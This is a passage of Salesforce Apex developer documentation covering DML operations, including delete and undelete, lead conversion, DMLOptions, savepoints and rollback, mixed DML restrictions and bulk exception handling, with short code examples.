After you persist records in the database, you can delete those records using the `delete` operation. Deleted records aren't deleted permanently from Salesforce, but they are placed in the Recycle Bin for 15 days from where they can be restored. Restoring deleted records is covered in a later section.

Example

The following example deletes all accounts that are named 'DotCom':

```
Account[] doomedAccts = [SELECT Id, Name FROM Account
                          WHERE Name = 'DotCom'];

try {
    delete doomedAccts;
} catch (DmlException e) {
    // Process exception here
}
```



Note: For more information on processing `DmlExceptions`, see [Bulk DML Exception Handling](#).

Referential Integrity When Deleting and Restoring Records

The `delete` operation supports cascading deletions. If you delete a parent object, you delete its children automatically, as long as each child record can be deleted.

For example, if you delete a case record, Apex automatically deletes any `CaseComment`, `CaseHistory`, and `CaseSolution` records associated with that case. However, if a particular child record is not deletable or is currently being used, then the `delete` operation on the parent case record fails.

The `undelete` operation restores the record associations for the following types of relationships:

- Parent accounts (as specified in the `Parent Account` field on an account)
- Indirect account-contact relationships (as specified on the Related Accounts related list on a contact or the Related Contacts related list on an account)
- Parent cases (as specified in the `Parent Case` field on a case)
- Master solutions for translated solutions (as specified in the `Master Solution` field on a solution)
- Managers of contacts (as specified in the `Reports To` field on a contact)
- Products related to assets (as specified in the `Product` field on an asset)
- Opportunities related to quotes (as specified in the `Opportunity` field on a quote)

- All custom lookup relationships
- Relationship group members on accounts and relationship groups, with some exceptions
- Tags
- An article's categories, publication state, and assignments

 **Note:** Salesforce only restores lookup relationships that have not been replaced. For example, if an asset is related to a different product prior to the original product record being undeleted, that asset-product relationship is not restored.

Restoring Deleted Records

After you have deleted records, the records are placed in the Recycle Bin for 15 days, after which they are permanently deleted. While the records are still in the Recycle Bin, you can restore them using the `undelete` operation. If you accidentally deleted some records that you want to keep, restore them from the Recycle Bin.

Example

The following example undeletes an account named 'Universal Containers'. The `ALL ROWS` keyword queries all rows for both top level and aggregate relationships, including deleted records and archived activities.

```
Account a = new Account (Name='Universal Containers');
insert(a);
insert(new Contact (LastName='Carter',AccountId=a.Id));
delete a;

Account[] savedAccts = [SELECT Id, Name FROM Account WHERE Name = 'Universal Containers'
ALL ROWS];
try {
    undelete savedAccts;
} catch (DmlException e) {
    // Process exception here
}
```

 **Note:** For more information on processing `DmlExceptions`, see [Bulk DML Exception Handling](#).

Undelete Considerations

Note the following when using the `undelete` statement.

- You can undelete records that were deleted as the result of a merge. However, the merge reparents the child objects, and that reparenting can't be undone.
- To identify deleted records, including records deleted as a result of a merge, use the `ALL ROWS` parameters with a SOQL query.
- See [Referential Integrity When Deleting and Restoring Records](#).

SEE ALSO:

[Querying All Records with a SOQL Statement](#)

Converting Leads

The `convertLead` DML operation converts a lead into an account and contact, as well as (optionally) an opportunity. `convertLead` is available only as a method on the `Database` class; it is not available as a DML statement.

Converting leads involves the following basic steps:

1. Your application determines the IDs of any lead(s) to be converted.
2. Optionally, your application determines the IDs of any account(s) into which to merge the lead. Your application can use SOQL to search for accounts that match the lead name, as in the following example:

```
SELECT Id, Name FROM Account WHERE Name='CompanyNameOfLeadBeingMerged'
```

3. Optionally, your application determines the IDs of the contact or contacts into which to merge the lead. The application can use SOQL to search for contacts that match the lead contact name, as in the following example:

```
SELECT Id, Name FROM Contact WHERE FirstName='FirstName' AND LastName='LastName' AND
AccountId = '001...'
```

4. Optionally, the application determines whether opportunities should be created from the leads.
5. The application uses the query (`SELECT ... FROM LeadStatus WHERE IsConverted=true`) to obtain the leads with converted status.
6. The application calls `convertLead`.
7. The application iterates through the returned result or results and examines each `LeadConvertResult` object to determine whether conversion succeeded for each lead.
8. Optionally, when converting leads owned by a queue, the owner must be specified. This is because accounts and contacts can't be owned by a queue. Even if you are specifying an existing account or contact, you must still specify an owner.

Example

This example shows how to use the `Database.convertLead` method to convert a lead. It inserts a new lead, creates a `LeadConvert` object, sets its status to converted, and then passes it to the `Database.convertLead` method. Finally, it verifies that the conversion was successful.

```
Lead myLead = new Lead(LastName = 'Fry', Company='Fry And Sons');
insert myLead;

Database.LeadConvert lc = new database.LeadConvert();
lc.setLeadId(myLead.id);

LeadStatus convertStatus = [SELECT Id, ApiName FROM LeadStatus WHERE IsConverted=true LIMIT
1];
lc.setConvertedStatus(convertStatus.ApiName);

Database.LeadConvertResult lcr = Database.convertLead(lc);
System.assert(lcr.isSuccess());
```

Convert Leads Considerations

- **Field mappings:** The system automatically maps standard lead fields to standard account, contact, and opportunity fields. For custom lead fields, your Salesforce administrator can specify how they map to custom account, contact, and opportunity fields. For more information about field mappings, see Salesforce Help.
- **Merged fields:** If data is merged into existing account and contact objects, only empty fields in the target object are overwritten—existing data (including IDs) are not overwritten. The only exception is if you specify `setOverwriteLeadSource` on the `LeadConvert` object to true, in which case the `LeadSource` field in the target contact object is overwritten with the contents of the `LeadSource` field in the source `LeadConvert` object.

- **Record types:** If the organization uses record types, the default record type of the new owner is assigned to records created during lead conversion. The default record type of the user converting the lead determines the lead source values available during conversion. If the desired lead source values are not available, add the values to the default record type of the user converting the lead. For more information about record types, see Salesforce Help.
- **Picklist values:** The system assigns the default picklist values for the account, contact, and opportunity when mapping any standard lead picklist fields that are blank. If your organization uses record types, blank values are replaced with the default picklist values of the new record owner.
- **Automatic feed subscriptions:** When you convert a lead into a new account, contact, and opportunity, the lead owner is unsubscribed from the lead record's Chatter feed. The lead owner, the owner of the generated records, and users that were subscribed to the lead aren't automatically subscribed to the generated records, unless they have automatic subscriptions enabled in their Chatter feed settings. They must have automatic subscriptions enabled to see changes to the account, contact, and opportunity records in their news feed. To subscribe to records they create, users must enable the `Automatically follow records that I create` option in their personal settings. A user can subscribe to a record so that changes to the record display in the news feed on the user's home page. This is a useful way to stay up-to-date with changes to records in Salesforce.

SEE ALSO:

[Apex Reference Guide: Database Class](#)

Exception Handling

DML statements return run-time exceptions if something went wrong in the database during the execution of the DML operations. You can handle the exceptions in your code by wrapping your DML statements within try-catch blocks. The following example includes the `insert` DML statement inside a try-catch block.

```
Account a = new Account (Name='Acme');
try {
    insert a;
} catch (DmlException e) {
    // Process exception here
}
```

[Database Class Method Result Objects](#)

[Returned Database Errors](#)

Database Class Method Result Objects

Database class methods return the results of the data operation. These result objects contain useful information about the data operation for each record, such as whether the operation was successful or not, and any error information. Each type of operation returns a specific result object type, as outlined below.

Operation	Result Class
insert, update	SaveResult Class
upsert	UpsertResult Class
merge	MergeResult Class
delete	DeleteResult Class

Operation	Result Class
undelete	UndeleteResult Class
convertLead	LeadConvertResult Class
emptyRecycleBin	EmptyRecycleBinResult Class

Returned Database Errors

While DML statements always return exceptions when an operation fails for one of the records being processed and the operation is rolled back for all records, Database class methods can either do so or allow partial success for record processing. In the latter case of partial processing, Database class methods don't throw exceptions. Instead, they return a list of errors for any errors that occurred on failed records.

The errors provide details about the failures and are contained in the result of the Database class method. For example, a `SaveResult` object is returned for insert and update operations. Like all returned results, `SaveResult` contains a method called `getErrors` that returns a list of `Database.Error` objects, representing the errors encountered, if any.

Example

This example shows how to get the errors returned by a `Database.insert` operation. It inserts two accounts, one of which doesn't have the required Name field, and sets the second parameter to `false`: `Database.insert(accts, false);`. This sets the partial processing option. Next, the example checks if the call had any failures through `if (!sr.isSuccess())` and then iterates through the errors, writing error information to the debug log.

```
// Create two accounts, one of which is missing a required field
Account[] accts = new List<Account>{
    new Account (Name='Account1'),
    new Account ();
};
Database.SaveResult[] srList = Database.insert(accts, false);

// Iterate through each returned result
for (Database.SaveResult sr : srList) {
    if (!sr.isSuccess()) {
        // Operation failed, so get all errors
        for(Database.Error err : sr.getErrors()) {
            System.debug('The following error has occurred.');
```

```
            System.debug(err.getStatusCode() + ': ' + err.getMessage());
            System.debug('Fields that affected this error: ' + err.getFields());
        }
    }
}
```

More About DML

Here are some things you may want to know about using Data Manipulation Language.

[Setting DML Options](#)

You can specify DML options for insert and update operations by setting the desired options in the `Database.DMLOptions` object. You can set `Database.DMLOptions` for the operation by calling the `setOptions` method on the `sObject`, or by passing it as a parameter to the `Database.insert` and `Database.update` methods.

[Transaction Control](#)

Read about transaction requests, generating and releasing savepoints, rolling back transactions, and more.

[sObjects That Can't Be Used Together in DML Operations](#)

DML operations on certain sObjects, sometimes referred to as setup objects, can't be mixed with DML on non-setup sObjects in the same transaction. This restriction exists because some sObjects affect the user's access to records in the org. You must insert or update these types of sObjects in a different transaction to prevent operations from happening with incorrect access-level permissions. For example, you can't update an account and a user role in a single transaction.

[sObjects That Don't Support DML Operations](#)[Bulk DML Exception Handling](#)[Things You Should Know about Data in Apex](#)

Setting DML Options

You can specify DML options for insert and update operations by setting the desired options in the `Database.DMLOptions` object. You can set `Database.DMLOptions` for the operation by calling the `setOptions` method on the sObject, or by passing it as a parameter to the `Database.insert` and `Database.update` methods.

Using DML options, you can specify:

- The truncation behavior of fields.
- Assignment rule information.
- Duplicate rule information.
- Whether automatic emails are sent.
- The user locale for labels.
- Whether the operation allows for partial success.

The `Database.DMLOptions` class has the following properties:

- [allowFieldTruncation](#) Property
- [assignmentRuleHeader](#) Property
- [duplicateRuleHeader](#)
- [emailHeader](#) Property
- [localeOptions](#) Property
- [optAllOrNone](#) Property

DMLOptions is only available for Apex saved against API versions 15.0 and higher. DMLOptions settings take effect only for record operations performed using Apex DML and not through the Salesforce user interface.

allowFieldTruncation Property

The `allowFieldTruncation` property specifies the truncation behavior of strings. In Apex saved against API versions previous to 15.0, if you specify a value for a string and that value is too large, the value is truncated. For API version 15.0 and later, if a value is specified that is too large, the operation fails and an error message is returned. The `allowFieldTruncation` property allows you to specify that the previous behavior, truncation, be used instead of the new behavior in Apex saved against API versions 15.0 and later.

The `allowFieldTruncation` property takes a Boolean value. If `true`, the property truncates String values that are too long, which is the behavior in API versions 14.0 and earlier. For example:

```
Database.DMLOptions dml = new Database.DMLOptions();

dml.allowFieldTruncation = true;
```

assignmentRuleHeader Property

The `assignmentRuleHeader` property specifies the assignment rule to be used when creating a case or lead.

 **Note:** The `Database.DMLOptions` object supports assignment rules for cases and leads, but not for accounts.

Using the `assignmentRuleHeader` property, you can set these options:

- `assignmentRuleId`: The ID of an assignment rule for the case or lead. The assignment rule can be active or inactive. The ID can be retrieved by querying the `AssignmentRule` sObject. If specified, do not specify `useDefaultRule`. If the value is not in the correct ID format (15-character or 18-character Salesforce ID), the call fails and an exception is returned.
- `useDefaultRule`: Indicates whether the default (active) assignment rule will be used for a case or lead. If specified, do not specify an `assignmentRuleId`.

The following example uses the `useDefaultRule` option:

```
Database.DMLOptions dmo = new Database.DMLOptions();
dmo.assignmentRuleHeader.useDefaultRule = true;

Lead l = new Lead(company='ABC', lastname='Smith');
l.setOptions(dmo);
insert l;
```

The following example uses the `assignmentRuleId` option:

```
Database.DMLOptions dmo = new Database.DMLOptions();
dmo.assignmentRuleHeader.assignmentRuleId = '01QD0000000EqAn';

Lead l = new Lead(company='ABC', lastname='Smith');
l.setOptions(dmo);
insert l;
```

 **Note:** If there are no assignment rules in the organization, in API version 29.0 and earlier, creating a case or lead with `useDefaultRule` set to `true` results in the case or lead being assigned to the predefined default owner. In API version 30.0 and later, the case or lead is unassigned and doesn't get assigned to the default owner.

duplicateRuleHeader Property

The `duplicateRuleHeader` property determines whether a record that's identified as a duplicate can be saved. Duplicate rules are part of the Duplicate Management feature.

Using the `duplicateRuleHeader` property, you can set these options.

- `allowSave`: Indicates whether a record that's identified as a duplicate can be saved.

The following example shows how to save an account record that's been identified as a duplicate. To learn how to iterate through duplicate errors, see [DuplicateError Class](#)

```
Database.DMLOptions dml = new Database.DMLOptions();
```



```
dml.DuplicateRuleHeader.AllowSave = true;
Account duplicateAccount = new Account(Name='dupe');
Database.SaveResult sr = Database.insert(duplicateAccount, dml);
if (sr.isSuccess()) {
    System.debug('Duplicate account has been inserted in Salesforce!');
}
```

emailHeader Property

 **Important:** System-generated emails from an unverified email-sending domain aren't delivered, even if the From email address is verified. See [Requirements to Send Email from Salesforce](#).

The Salesforce user interface allows you to specify whether or not to send an email when the following events occur:

- Creation of a new case or task
- Conversion of a case email to a contact
- New user email notification
- Lead queue email notification
- Password reset

In API version 15.0 and later, the Database.DMLOptions emailHeader property enables you to specify additional information regarding the email that gets sent when one of the events occurs because of Apex DML code execution.

Using the emailHeader property, you can set these options.

- triggerAutoResponseEmail: Indicates whether to trigger auto-response rules (**true**) or not (**false**), for leads and cases. This email can be automatically triggered by a number of events, for example when creating a case or resetting a user password. If this value is set to **true**, when a case is created, if there is an email address for the contact specified in ContactID, the email is sent to that address. If not, the email is sent to the address specified in SuppliedEmail.
- triggerOtherEmail: Indicates whether to trigger email outside the organization (**true**) or not (**false**). This email can be automatically triggered by creating, editing, or deleting a contact for a case.
- triggerUserEmail: Indicates whether to trigger email that is sent to users in the organization (**true**) or not (**false**). This email can be automatically triggered by a number of events; resetting a password, creating a new user, or creating or modifying a task.

 **Note:** Adding comments to a case in Apex doesn't trigger email to users in the organization even if triggerUserEmail is set to **true**.

Even though auto-sent emails can be triggered by actions in the Salesforce user interface, the DMLOptions settings for emailHeader take effect only for DML operations carried out in Apex code.

In the following example, the triggerAutoResponseEmail option is specified:

```
Account a = new Account(name='Acme Plumbing');

insert a;

Contact c = new Contact(email='jplumber@salesforce.com', firstname='Joe', lastname='Plumber',
    accountid=a.id);

insert c;

Database.DMLOptions dlo = new Database.DMLOptions();
```

```
dlo.EmailHeader.triggerAutoResponseEmail = true;

Case ca = new Case(subject='Plumbing Problems', contactid=c.id);

database.insert(ca, dlo);
```

Email sent through Apex because of a group event includes additional behaviors. A *group event* is an event for which `IsGroupEvent` is true. The `EventAttendee` object tracks the users, leads, or contacts that are invited to a group event. Note the following behaviors for group event email sent through Apex:

- Sending a group event invitation to a user respects the `triggerUserEmail` option
- Sending a group event invitation to a lead or contact respects the `triggerOtherEmail` option
- Email sent when updating or deleting a group event also respects the `triggerUserEmail` and `triggerOtherEmail` options, as appropriate

`localeOptions` Property

The `localeOptions` property specifies the language of any labels that are returned by Apex. The value must be a valid user locale (language and country), such as `de_DE` or `en_GB`. The value is a String, 2-5 characters long. The first two characters are always an ISO language code, for example 'fr' or 'en.' If the value is further qualified by a country, then the string also has an underscore (`_`) and another ISO country code, for example 'US' or 'UK.' For example, the string for the United States is 'en_US', and the string for French Canadian is 'fr_CA'.

`optAllOrNone` Property

The `optAllOrNone` property specifies whether the operation allows for partial success. If `optAllOrNone` is set to `true`, all changes are rolled back if any record causes errors. The default for this property is `false` and successfully processed records are committed while records with errors aren't. This property is available in Apex saved against Salesforce API version 20.0 and later.

Transaction Control

Read about transaction requests, generating and releasing savepoints, rolling back transactions, and more.

All requests are delimited by the trigger, class method, Web Service, Visualforce page, or anonymous block that executes the Apex code. If the entire request completes successfully, all changes are committed to the database. For example, suppose a Visualforce page called an Apex controller, which in turn called an additional Apex class. Only when all the Apex code has finished running and the Visualforce page has finished running, are the changes committed to the database. If the request doesn't complete successfully, all database changes are rolled back.

Generating Savepoints and Rolling Back Transactions

Sometimes during the processing of records, your business rules require that partial work (already executed DML statements) is rolled back so that the processing can continue in another direction. Apex gives you the ability to generate a *savepoint*, that is, a point in the request that specifies the state of the database at that time. Any DML statement that occurs after the savepoint can be discarded, restoring the database to the condition it was in when you generated the savepoint. All table and row locks acquired since the savepoint are released.

The following limitations apply to generating savepoint variables and rolling back the database:

- If you set more than one savepoint, then roll back to a savepoint that isn't the last savepoint you generated, the later savepoint variable is also rolled back and becomes invalid. For example, if you generated savepoint `SP1` first, savepoint `SP2` after that, and then you rolled back to `SP1`, the variable `SP2` is no longer valid. If you try to use savepoint `SP2`, you receive a runtime error.

- References to savepoints can't cross-trigger invocations because each trigger invocation is a new trigger context. If you declare a savepoint as a static variable then try to use it across trigger contexts, you receive a run-time error.
- Each savepoint you set counts against the governor limit for DML statements.
- Static variables aren't reverted during a rollback. If you try to run the trigger again, the static variables retain the values from the first run.
- `Database.rollback(Savepoint)` and `Database.setSavepoint()` don't count against the DML row limit, but count toward the DML statement limit. This behavior applies to all API versions.
- The ID on an sObject inserted after setting a savepoint isn't cleared after a rollback. Attempting to insert the sObject using the variable created before the rollback fails because the sObject variable has an ID. Updating or upserting the sObject using the same variable also fails because the sObject isn't in the database and, thus, can't be updated. To perform further DML operations, create an sObject variable without setting its ID.

The following is an example using the `setSavepoint` and `rollback` Database methods.

```
Account a = new Account(Name = 'xyz');
insert a;
Assert.isNull([SELECT AccountNumber FROM Account WHERE Id = :a.Id]. AccountNumber);
// Create a savepoint while AccountNumber is null
Savepoint sp = Database.setSavepoint();
// Change the account number
a.AccountNumber = '123';
update a;
Assert.areEqual('123', [SELECT AccountNumber FROM Account WHERE Id = :a.Id].
AccountNumber);
// Rollback to the previous null value
Database.rollback(sp);
Assert.isNull([SELECT AccountNumber FROM Account WHERE Id = :a.Id]. AccountNumber);
```

Releasing Savepoints and Using Callouts

To allow callouts, roll back all uncommitted DML by using a savepoint. Then use the `Database.releaseSavepoint` method to explicitly release savepoints before making the desired callout. When `Database.releaseSavepoint()` is called, `SAVEPOINT_RELEASE` is logged.

See [releaseSavepoint\(\)](#) for more information.

In this example, the `makeACallout()` callout succeeds because the uncommitted DML is rolled back and the savepoint is released.

```
Savepoint sp = Database.setSavepoint();
try {
    // Try a database operation
    insert new Account(name='Foo');
    integer bang = 1 / 0;
} catch (Exception ex) {
    Database.rollback(sp);
    Database.releaseSavepoint(sp);
    makeACallout();
}
```

In this example, the savepoint isn't released before making the callout. The `CalloutException` informs you that you must release all active savepoints before making the callout.

```
Savepoint sp = Database.setSavepoint();
try {
```

```

    makeACallout();
} catch (System.CalloutException ex) {
    Assert.isTrue(ex.getMessage().contains('All active Savepoints must be released before
making callouts.'));
}

```

In this example, DML is pending when the callout is made. The `CalloutException` informs you that you must roll back the transaction before the callout is made or the transaction must be committed.

```

Savepoint sp = Database.setSavepoint();
insert new Account(name='Foo');
Database.releaseSavepoint(sp);
try {
    makeACallout();
} catch (System.CalloutException ex) {
    Assert.isTrue(ex.getMessage().contains('You have uncommitted work pending. Please commit
or rollback before calling out.'));
}

```

Use these guidelines for using callouts and savepoints.

- If there's uncommitted work pending when `Database.releaseSavepoint()` is called, the uncommitted work isn't rolled back. It's committed if the transaction succeeds.
- Attempts to roll back to a released savepoint result in a `TypeException`.
- Attempts to roll back after calling `Database.releaseSavepoint()` result in a `System.InvalidOperationException`.
- Calling the `Database.releaseSavepoint()` method on a savepoint also releases nested savepoints, that is, any subsequent savepoints created after a savepoint.

Versioned Behavior Changes

For Apex tests with API version 60.0 or later, all savepoints are released when `Test.startTest()` and `Test.stopTest()` are called. If any savepoints are reset, a `SAVEPOINT_RESET` event is logged.

Before API version 60.0, making a callout after creating savepoints throws a `CalloutException` regardless of whether there was uncommitted DML or the changes were rolled back to a savepoint. Also, before API version 60.0, both `Database.rollback(databaseSavepoint)` and `Database.setSavepoint()` calls incremented the DML row usage limit.

sObjects That Can't Be Used Together in DML Operations

DML operations on certain sObjects, sometimes referred to as setup objects, can't be mixed with DML on non-setup sObjects in the same transaction. This restriction exists because some sObjects affect the user's access to records in the org. You must insert or update these types of sObjects in a different transaction to prevent operations from happening with incorrect access-level permissions. For example, you can't update an account and a user role in a single transaction.

Don't include more than one of these sObjects in the same transaction when performing DML operations or when using the Metadata API.

These sObjects also can't be used with the `@IsTest(IsParallel=true)` annotation. Split such operations into separate transactions.

 **Note:** This list includes sObjects that cannot be used together in the same DML transaction, but is not an exhaustive list.

- `AuthSession`

- ContentWorkspace
- FieldPermissions
- ForecastingShare
- Group

You can only insert and update a group in a transaction with other sObjects. Other DML operations aren't allowed.

- GroupMember



Note: With legacy Apex code saved using Salesforce API version 14.0 and earlier, you can insert and update a group member with other sObjects in the same transaction.

- ObjectPermissions
- ObjectTerritory2AssignmentRule
- ObjectTerritory2AssignmentRuleItem
- PermissionSet
- PermissionSetAssignment
- QueueSObject
- RuleTerritory2Association
- SetupEntityAccess
- Territory
- Territory2
- Territory2Model
- User

You can insert a user in a transaction with other sObjects in Apex code saved using Salesforce API version 14.0 and earlier.

You can insert a user in a transaction with other sObjects in Apex code saved using Salesforce API version 15.0 and later when `UserRoleId` is specified as null.

You can update a user in a transaction with other sObjects in Apex code saved using Salesforce API version 14.0 and earlier

You can update a user in a transaction with other sObjects in Apex code saved using Salesforce API version 15.0 and later when the user isn't included in a [Lightning Sync](#) or [Einstein Activity Capture](#) configuration (either active or inactive) and the following fields aren't updated:

- `UserRoleId`
- `IsActive`
- `ForecastEnabled`
- `IsPortalEnabled`
- `Username`
- `ProfileId`

- UserPackageLicense
- UserRole
- UserTerritory
- UserTerritory2Association

If you're using a Visualforce page with a custom controller, you can't mix sObject types with any of these special sObjects within a single request or action. However, you can perform DML operations on these different types of sObjects in subsequent requests. For example, you can create an account with a save button, and then create a user with a non-null role with a submit button.

You can perform DML operations on more than one type of sObject in a single class using the following process:

1. Create a method that performs a DML operation on one type of sObject.
2. Create a second method that uses the `future` annotation to manipulate a second sObject type.

This process is demonstrated in the example in the next section.

Example: Using a Future Method to Perform Mixed DML Operations

This example shows how to perform mixed DML operations by using a future method to perform a DML operation on the User object.

```
public class MixedDMLFuture {
    public static void useFutureMethod() {
        // First DML operation
        Account a = new Account(Name='Acme');
        insert a;

        // This next operation (insert a user with a role)
        // can't be mixed with the previous insert unless
        // it is within a future method.
        // Call future method to insert a user with a role.
        Util.insertUserWithRole(
            'mruiz@awcomputing.com', 'mruiz',
            'mruiz@awcomputing.com', 'Ruiz');
    }
}
```

```
public class Util {
    @future
    public static void insertUserWithRole(
        String uname, String al, String em, String lname) {

        Profile p = [SELECT Id FROM Profile WHERE Name='Standard User'];
        UserRole r = [SELECT Id FROM UserRole WHERE Name='COO'];
        // Create new user with a non-null user role ID
        User u = new User(alias = al, email=em,
            emailencodingkey='UTF-8', lastname=lname,
            languagelocalekey='en_US',
            localesidkey='en_US', profileid = p.Id, userroleid = r.Id,
            timezonesidkey='America/Los_Angeles',
            username=uname);
        insert u;
    }
}
```

Mixed DML Operations in Test Methods

Test methods allow for performing mixed Data Manipulation Language (DML) operations that include both setup sObjects and other sObjects if the code that performs the DML operations is enclosed within `System.runAs` method blocks. You can also perform DML in an asynchronous job that your test method calls. These techniques enable you, for example, to create a user with a role and other sObjects in the same test.

Mixed DML Operations in Test Methods

Test methods allow for performing mixed Data Manipulation Language (DML) operations that include both setup sObjects and other sObjects if the code that performs the DML operations is enclosed within `System.runAs` method blocks. You can also perform DML in an asynchronous job that your test method calls. These techniques enable you, for example, to create a user with a role and other sObjects in the same test.

The setup sObjects are listed in [sObjects That Cannot Be Used Together in DML Operations](#).

 **Note:** Because validation for mixed DML operations is skipped during deployment, there can be a difference in the number of test failures when tests are deployed versus when run in the user interface.

Example: Mixed DML Operations in `System.runAs` Blocks

This example shows how to enclose mixed DML operations within `System.runAs` blocks to avoid the mixed DML error. The `System.runAs` block runs in the current user's context. It creates a test user with a role and a test account, which is a mixed DML operation.

```
@isTest
private class MixedDML {
    static testMethod void mixedDMLExample() {
        User u;
        Account a;
        User thisUser = [SELECT Id FROM User WHERE Id = :UserInfo.getUserId()];
        // Insert account as current user
        System.runAs (thisUser) {
            Profile p = [SELECT Id FROM Profile WHERE Name='Standard User'];
            UserRole r = [SELECT Id FROM UserRole WHERE Name='COO'];
            u = new User(alias = 'jsmith', email='jsmith@acme.com',
                emailencodingkey='UTF-8', lastname='Smith',
                languagelocalekey='en_US',
                localesidkey='en_US', profileid = p.Id, userroleid = r.Id,
                timezonesidkey='America/Los_Angeles',
                username='jsmith@acme.com');
            insert u;
            a = new Account(name='Acme');
            insert a;
        }
    }
}
```

Use `@future` to Bypass the Mixed DML Error in a Test Method

Mixed DML operations within a single transaction aren't allowed. You can't perform DML on a setup sObject and another sObject in the same transaction. However, you can perform one type of DML as part of an asynchronous job and the others in other asynchronous jobs or in the original transaction. This class contains an `@future` method to be called by the class in the subsequent example.

```
public class InsertFutureUser {
    @future
    public static void insertUser() {
        Profile p = [SELECT Id FROM Profile WHERE Name='Standard User'];
        UserRole r = [SELECT Id FROM UserRole WHERE Name='COO'];
        User futureUser = new User(firstname = 'Future', lastname = 'User',
            alias = 'future', defaultgroupnotificationfrequency = 'N',
            digestfrequency = 'N', email = 'test@test.org',
```

```

        emailencodingkey = 'UTF-8', languagelocalekey='en_US',
        localesidkey='en_US', profileid = p.Id,
        timezonesidkey = 'America/Los_Angeles',
        username = 'futureuser@test.org',
        userpermissionsmarketinguser = false,
        userpermissionsofflineuser = false, userroleid = r.Id);
    insert(futureUser);
}
}

```

This class calls the method in the previous class.

```

@isTest
public class UserAndContactTest {
    public testmethod static void testUserAndContact() {
        InsertFutureUser.insertUser();
        Contact currentContact = new Contact(
            firstName = String.valueOf(System.currentTimeMillis()),
            lastName = 'Contact');
        insert(currentContact);
    }
}

```

sObjects That Don't Support DML Operations

Your organization contains standard objects provided by Salesforce and custom objects that you created. These objects can be accessed in Apex as instances of the sObject data type. You can query these objects and perform DML operations on them. However, some standard objects don't support DML operations although you can still obtain them in queries. The following is a non-exhaustive list of such objects:

- AccountTerritoryAssignmentRule
- AccountTerritoryAssignmentRuleItem
- ApexComponent
- ApexPage
- BusinessHours
- BusinessProcess
- CategoryNode
- CurrencyType
- DatedConversionRate
- NetworkMember (allows update only)
- ProcessInstance
- Profile
- RecordType
- SelfServiceUser
- StaticResource
- Territory2
- UserAccountTeamMember
- UserPreference

- UserTerritory
- WebLink

The following are special cases of DML operations on objects.

- If an Account record has a record type of Person Account, the Name field can't be modified with DML operations.
- All standard and custom objects can also be accessed through the SOAP API. ProcessInstance is an exception. You can't create, update, or delete ProcessInstance in the SOAP API.
- DML operations aren't supported on Data Cloud data model objects (DMOs). For details on using Apex with Data Cloud objects, see [Data Cloud in Apex](#).
- To determine if DML is supported on your specific object, use the `Schema.describeSObjects()` method as shown in this sample code.

```
// This example describes the ApexPage object. Replace it with your
// objects(s) in the results list to check if DML is permitted.
List<Schema.DescribeObjectResult> results = Schema.describeSObjects(new List<string>
    {'ApexPage'}, SObjectDescribeOptions.DEFERRED);
DescribeObjectResult d = results[0];
System.debug('isCreateable(): ' + d.isCreateable());
System.debug('isUpdateable(): ' + d.isUpdateable());
System.debug('isQueryable(): ' + d.isQueryable());
```

Bulk DML Exception Handling

Exceptions that arise from a bulk DML call (including any recursive DML operations in triggers that are fired as a direct result of the call) are handled differently depending on where the original call came from:

- When errors occur because of a bulk DML call that originates directly from the Apex DML statements, or if the `allOrNone` parameter of a Database DML method is set to `true`, the runtime engine follows the “all or nothing” rule: during a single operation, all records must be updated successfully or the entire operation rolls back to the point immediately preceding the DML statement. If the `allOrNone` parameter of a Database DML method is set to `false` and a record fails, the remainder of the DML operation can still succeed. You must iterate through the returned results to identify which records succeeded or failed. If the `allOrNone` parameter of a Database DML method is set to `false` and a before-trigger assigns an invalid value to a field, the partial set of valid records isn't inserted.
- When errors occur because of a bulk DML call that originates from SOAP API with default settings, or if the `allOrNone` parameter of a Database DML method was specified as `false`, the runtime engine attempts at least a partial save:
 1. During the first attempt, the runtime engine processes all records. Any record that generates an error due to issues such as validation rules or unique index violations is set aside.
 2. If there were errors during the first attempt, the runtime engine makes a second attempt that includes only those records that didn't generate errors. All records that didn't generate an error during the first attempt are processed, and if any record generates an error (perhaps because of race conditions) it's also set aside.
 3. If there were additional errors during the second attempt, the runtime engine makes a third and final attempt that includes only those records that didn't generate errors during the first and second attempts. If any record generates an error, the entire operation fails with the error message, “Too many batch retries in the presence of Apex triggers and partial failures.”



Note:

- During the second and third attempts, governor limits are reset to their original state before the first attempt. See [Execution Governors and Limits](#) on page 348.
- Apex triggers are fired for the first save attempt, and if errors are encountered for some records and subsequent attempts are made to save the subset of successful records, triggers are refired on this subset of records.

Things You Should Know about Data in Apex

Non-Null Required Fields Values and Null Fields

When inserting new records or updating required fields on existing records, you must supply non-`null` values for all required fields.

Unlike the SOAP API, Apex allows you to change field values to `null` without updating the `fieldsToNull` array on the `sObject` record. The API requires an update to this array due to the inconsistent handling of `null` values by many SOAP providers. Because Apex runs solely on the Lightning Platform, this workaround is unnecessary.

DML Not Supported with Some sObjects

DML operations are not supported with certain `sObjects`. See [sObjects That Don't Support DML Operations](#).

String Field Truncation and API Version

Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field.

sObject Properties to Enable DML Operations

To be able to insert, update, delete, or undelete an `sObject` record, the `sObject` must have the corresponding property (`createable`, `updateable`, `deletable`, or `undeletable` respectively) set to `true`.

ID Values

The `insert` statement automatically sets the ID value of all new `sObject` records. Inserting a record that already has an ID—and therefore already exists in your organization's data—produces an error. See [Lists](#) for more information.

The `insert` and `update` statements check each batch of records for duplicate ID values. If there are duplicates, the first five are processed. For the sixth and all additional duplicate IDs, the `SaveResult` for those entries is marked with an error similar to the following: `Maximum number of duplicate updates in one batch (5 allowed). Attempt to update Id more than once in this API call: number_of_attempts.`

The ID of an updated `sObject` record cannot be modified in an `update` statement, but related record IDs can.

Fields With Unique Constraints

For some `sObjects` that have fields with unique constraints, inserting duplicate `sObject` records results in an error. For example, inserting `CollaborationGroup` `sObjects` with the same names results in an error because `CollaborationGroup` records must have unique names.

System Fields Automatically Set

When inserting new records, system fields such as `CreatedDate`, `CreatedById`, and `SystemModstamp` are automatically updated. You cannot explicitly specify these values in your Apex. Similarly, when updating records, system fields such as `LastModifiedDate`, `LastModifiedById`, and `SystemModstamp` are automatically updated.

Maximum Number of Records Processed by DML Statement

You can pass a maximum of 10,000 `sObject` records to a single `insert`, `update`, `delete`, and `undelete` method.

Each `upsert` statement consists of two operations, one for inserting records and one for updating records. Each of these operations is subject to the runtime limits for `insert` and `update`, respectively. For example, if you upsert more than 10,000 records and all of them are being updated, you receive an error. (See [Execution Governors and Limits](#) on page 348)

Upsert and Foreign Keys

